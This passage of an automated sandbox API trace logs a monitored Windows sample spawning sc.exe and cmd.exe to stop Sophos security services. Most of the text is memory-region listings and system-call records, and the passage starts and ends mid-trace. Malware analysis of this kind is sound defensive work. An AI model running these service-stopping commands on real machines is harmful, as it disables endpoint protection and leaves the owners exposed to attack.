[0060.962] GetEnvironmentStringsW () returned 0x104df8* [0060.962] FreeEnvironmentStringsW (penv=0x104df8) returned 1 [0060.962] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0061.011] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x33f180 | out: lpExitCode=0x33f180*=0x424) returned 1 [0061.011] CloseHandle (hObject=0x7c) returned 1 [0061.011] _vsnwprintf (in: _Buffer=0x33f2c8, _BufferCount=0x13, _Format="%08X", _ArgList=0x33f18c | out: _Buffer="00000424") returned 8 [0061.011] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0061.011] GetEnvironmentStringsW () returned 0x1061e8* [0061.011] FreeEnvironmentStringsW (penv=0x1061e8) returned 1 [0061.011] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0061.011] GetEnvironmentStringsW () returned 0x1061e8* [0061.011] FreeEnvironmentStringsW (penv=0x1061e8) returned 1 [0061.011] DeleteProcThreadAttributeList (in: lpAttributeList=0x33f1e4 | out: lpAttributeList=0x33f1e4) [0061.011] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.011] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.012] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.012] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49df41ac | out: lpMode=0x49df41ac) returned 1 [0061.012] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.012] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49df41b0 | out: lpMode=0x49df41b0) returned 1 [0061.012] SetConsoleInputExeNameW () returned 0x1 [0061.012] GetConsoleOutputCP () returned 0x1b5 [0061.012] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49df4260 | out: lpCPInfo=0x49df4260) returned 1 [0061.012] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.012] exit (_Code=1060) Process: id = "51" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x45f73000" os_pid = "0x5b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "50" os_parent_pid = "0x834" cmd_line = "sc stop \"Sophos Device Control Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3255 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3256 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3257 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3258 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3259 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3260 start_va = 0xe0000 end_va = 0xebfff entry_point = 0xe0000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 3261 start_va = 0x110000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3262 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3263 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3264 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3265 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3266 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3267 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3268 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3269 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3270 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3271 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3272 start_va = 0x250000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3273 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3274 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3275 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3276 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3277 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3278 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3279 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3280 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3281 start_va = 0x310000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3282 start_va = 0x500000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3283 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3284 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3285 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3286 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3287 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3288 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3289 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3290 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3291 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3292 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3293 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3294 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3295 start_va = 0x410000 end_va = 0x4cffff entry_point = 0x410000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3296 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x100000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 135 os_tid = 0x5b8 [0060.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fc24 | out: lpSystemTimeAsFileTime=0x14fc24*(dwLowDateTime=0xdf295100, dwHighDateTime=0x1d4abdd)) [0060.996] GetCurrentProcessId () returned 0x5b0 [0060.996] GetCurrentThreadId () returned 0x5b8 [0060.996] GetTickCount () returned 0x1cacd [0060.996] QueryPerformanceCounter (in: lpPerformanceCount=0x14fc1c | out: lpPerformanceCount=0x14fc1c*=1813622600000) returned 1 [0060.996] GetModuleHandleA (lpModuleName=0x0) returned 0xe0000 [0060.996] __set_app_type (_Type=0x1) [0060.996] __p__fmode () returned 0x75ed31f4 [0060.996] __p__commode () returned 0x75ed31fc [0060.996] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xe79c7) returned 0x0 [0060.996] __wgetmainargs (in: _Argc=0xe9020, _Argv=0xe9028, _Env=0xe9024, _DoWildCard=0, _StartInfo=0xe9034 | out: _Argc=0xe9020, _Argv=0xe9028, _Env=0xe9024) returned 0 [0060.997] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.000] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.000] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0061.000] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0061.000] _wcsicmp (_String1="stop", _String2="query") returned 2 [0061.000] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0061.000] _wcsicmp (_String1="stop", _String2="start") returned 14 [0061.000] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0061.000] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0061.000] _wcsicmp (_String1="stop", _String2="control") returned 16 [0061.000] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0061.000] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0061.000] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x31f7d0 [0061.003] OpenServiceW (hSCManager=0x31f7d0, lpServiceName="Sophos Device Control Service", dwDesiredAccess=0x20) returned 0x0 [0061.003] GetLastError () returned 0x424 [0061.003] _itow (in: _Dest=0x424, _Radix=1374908 | out: _Dest=0x424) returned="1060" [0061.003] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xe9380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0061.004] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14faa4, nSize=0x2, Arguments=0x14fab0 | out: lpBuffer="ᩀ2\x01") returned 0x62 [0061.005] GetFileType (hFile=0x7) returned 0x2 [0061.005] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14fa78 | out: lpMode=0x14fa78) returned 1 [0061.005] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x321a40*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x14fa94, lpReserved=0x0 | out: lpBuffer=0x321a40*, lpNumberOfCharsWritten=0x14fa94*=0x62) returned 1 [0061.005] LocalFree (hMem=0x321a40) returned 0x0 [0061.005] LocalFree (hMem=0x0) returned 0x0 [0061.005] CloseServiceHandle (hSCObject=0x31f7d0) returned 1 [0061.007] exit (_Code=1060) Thread: id = 136 os_tid = 0x8a0 Process: id = "52" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x260e000" os_pid = "0x540" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos File Scanner Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3297 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3298 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3299 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3300 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3301 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3302 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3303 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3304 start_va = 0x4ac20000 end_va = 0x4ac6bfff entry_point = 0x4ac20000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3305 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3306 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3307 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3308 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3309 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3310 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3311 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3312 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3313 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3314 start_va = 0x410000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 3315 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3316 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3317 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3318 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3319 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3320 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3321 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3322 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3323 start_va = 0x5d0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 3324 start_va = 0x810000 end_va = 0x81ffff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 3325 start_va = 0x75210000 end_va = 0x75216fff entry_point = 0x75210000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3326 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3327 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3328 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3329 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3330 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3331 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3332 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3333 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3334 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3335 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3336 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3337 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3338 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3339 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3340 start_va = 0x820000 end_va = 0x9a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 3341 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3342 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3343 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3344 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3345 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3346 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3347 start_va = 0x9b0000 end_va = 0xb30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 3348 start_va = 0xb40000 end_va = 0x1f3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 3349 start_va = 0x1f40000 end_va = 0x2282fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f40000" filename = "" Region: id = 3350 start_va = 0x2290000 end_va = 0x255efff entry_point = 0x2290000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 137 os_tid = 0x688 [0061.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cfa94 | out: lpSystemTimeAsFileTime=0x2cfa94*(dwLowDateTime=0xdf3ebd60, dwHighDateTime=0x1d4abdd)) [0061.127] GetCurrentProcessId () returned 0x540 [0061.127] GetCurrentThreadId () returned 0x688 [0061.127] GetTickCount () returned 0x1cb59 [0061.127] QueryPerformanceCounter (in: lpPerformanceCount=0x2cfa8c | out: lpPerformanceCount=0x2cfa8c*=1813635700000) returned 1 [0061.128] GetModuleHandleA (lpModuleName=0x0) returned 0x4ac20000 [0061.128] __set_app_type (_Type=0x1) [0061.128] __p__fmode () returned 0x75ed31f4 [0061.128] __p__commode () returned 0x75ed31fc [0061.128] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ac421a6) returned 0x0 [0061.128] __getmainargs (in: _Argc=0x4ac44238, _Argv=0x4ac44240, _Env=0x4ac4423c, _DoWildCard=0, _StartInfo=0x4ac44140 | out: _Argc=0x4ac44238, _Argv=0x4ac44240, _Env=0x4ac4423c) returned 0 [0061.128] GetCurrentThreadId () returned 0x688 [0061.128] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x688) returned 0x60 [0061.128] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.128] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0061.129] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.130] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.130] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cfa24 | out: phkResult=0x2cfa24*=0x0) returned 0x2 [0061.130] VirtualQuery (in: lpAddress=0x2cfa5b, lpBuffer=0x2cf9f4, dwLength=0x1c | out: lpBuffer=0x2cf9f4*(BaseAddress=0x2cf000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.130] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x2cf9f4, dwLength=0x1c | out: lpBuffer=0x2cf9f4*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0061.130] VirtualQuery (in: lpAddress=0x1d1000, lpBuffer=0x2cf9f4, dwLength=0x1c | out: lpBuffer=0x2cf9f4*(BaseAddress=0x1d1000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0061.130] VirtualQuery (in: lpAddress=0x1d3000, lpBuffer=0x2cf9f4, dwLength=0x1c | out: lpBuffer=0x2cf9f4*(BaseAddress=0x1d3000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.130] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x2cf9f4, dwLength=0x1c | out: lpBuffer=0x2cf9f4*(BaseAddress=0x2d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0061.130] GetConsoleOutputCP () returned 0x1b5 [0061.130] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac44260 | out: lpCPInfo=0x4ac44260) returned 1 [0061.130] SetConsoleCtrlHandler (HandlerRoutine=0x4ac3e72a, Add=1) returned 1 [0061.130] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.130] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0061.130] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.130] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac441ac | out: lpMode=0x4ac441ac) returned 1 [0061.131] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.131] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.131] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.131] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac441b0 | out: lpMode=0x4ac441b0) returned 1 [0061.131] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.131] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0061.131] GetEnvironmentStringsW () returned 0x5e2b48* [0061.131] FreeEnvironmentStringsW (penv=0x5e2b48) returned 1 [0061.132] GetEnvironmentStringsW () returned 0x5e2b48* [0061.132] FreeEnvironmentStringsW (penv=0x5e2b48) returned 1 [0061.132] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce994 